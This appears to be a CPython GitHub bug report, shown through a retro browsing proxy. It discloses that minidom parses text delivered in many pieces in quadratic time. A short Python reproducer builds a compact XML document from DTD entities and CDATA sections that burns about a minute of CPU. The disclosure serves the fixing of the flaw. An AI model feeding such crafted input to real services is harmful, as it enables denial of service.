GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — `xml.dom.minidom.parseString()` takes quadratic time on text delivered in many pieces · Issue #160525 · python/cpython Open Labels stdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytopic-XMLtype-securityA security issueA security issue DescriptionBug reportBug description:
Whoever supplies the document controls this; a program that parses XML from an untrusted source with minidom's default arguments can be made to spend about a minute of CPU on a 7 kB document. import time from xml.dom import minidom def make(k): return ('<!DOCTYPE r [<!ENTITY x "%s">]><r>%s</r>' % ('ab<![CDATA[]]>' * k, '&x;' * k)) for k in 100, 200, 400: doc = make(k) t = time.process_time() dom = minidom.parseString(doc) t = time.process_time() - t print(f'{len(doc)} bytes -> {len(dom.documentElement.firstChild.data)} chars of text, {t:.2f} s') Output on a debug build of main: The time should grow with the amount of text (4x per step here), not with its square. The code is unchanged since Python 2.3. gh-158860 is the same pattern in CPython versions tested on:CPython main branch Operating systems tested on:Linux Linked PRsActivity
MetadataMetadataAssigneesLabelsstdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytopic-XMLtype-securityA security issueA security issue ProjectsMilestoneRelationshipsDevelopmentIssue actions |
| You are visitor 01402503 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |